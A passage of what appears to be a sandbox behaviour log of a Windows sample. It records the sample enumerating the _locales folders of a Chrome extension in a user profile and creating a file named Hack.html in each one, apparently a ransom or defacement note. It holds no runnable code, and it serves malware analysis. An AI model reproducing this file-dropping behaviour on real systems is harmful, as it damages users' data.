lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.974] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.974] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.974] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.975] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.975] GetFileType (hFile=0x174) returned 0x1 [0075.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.975] GetFileType (hFile=0x174) returned 0x1 [0075.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.978] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it", lpFilePart=0x0) returned 0x92 [0075.978] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\", lpFilePart=0x0) returned 0x93 [0075.978] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.979] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.979] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.979] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.979] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it", lpFilePart=0x0) returned 0x92 [0075.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\", lpFilePart=0x0) returned 0x93 [0075.980] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.980] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.980] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.980] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.980] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.981] GetFileType (hFile=0x174) returned 0x1 [0075.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.981] GetFileType (hFile=0x174) returned 0x1 [0075.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw", lpFilePart=0x0) returned 0x92 [0075.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\", lpFilePart=0x0) returned 0x93 [0075.983] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.983] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.983] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw", lpFilePart=0x0) returned 0x92 [0075.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\", lpFilePart=0x0) returned 0x93 [0075.984] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.984] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.985] GetFileType (hFile=0x174) returned 0x1 [0075.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.985] GetFileType (hFile=0x174) returned 0x1 [0075.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja", lpFilePart=0x0) returned 0x92 [0075.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\", lpFilePart=0x0) returned 0x93 [0075.986] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.987] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja", lpFilePart=0x0) returned 0x92 [0075.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\", lpFilePart=0x0) returned 0x93 [0075.988] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.988] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.989] GetFileType (hFile=0x174) returned 0x1 [0075.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.989] GetFileType (hFile=0x174) returned 0x1 [0075.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.990] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn", lpFilePart=0x0) returned 0x92 [0075.990] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\", lpFilePart=0x0) returned 0x93 [0075.990] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.990] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.991] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn", lpFilePart=0x0) returned 0x92 [0075.991] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\", lpFilePart=0x0) returned 0x93 [0075.991] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.991] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.991] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.992] GetFileType (hFile=0x174) returned 0x1 [0075.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.992] GetFileType (hFile=0x174) returned 0x1 [0075.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko", lpFilePart=0x0) returned 0x92 [0075.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\", lpFilePart=0x0) returned 0x93 [0075.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.994] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko", lpFilePart=0x0) returned 0x92 [0075.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\", lpFilePart=0x0) returned 0x93 [0075.995] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.995] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 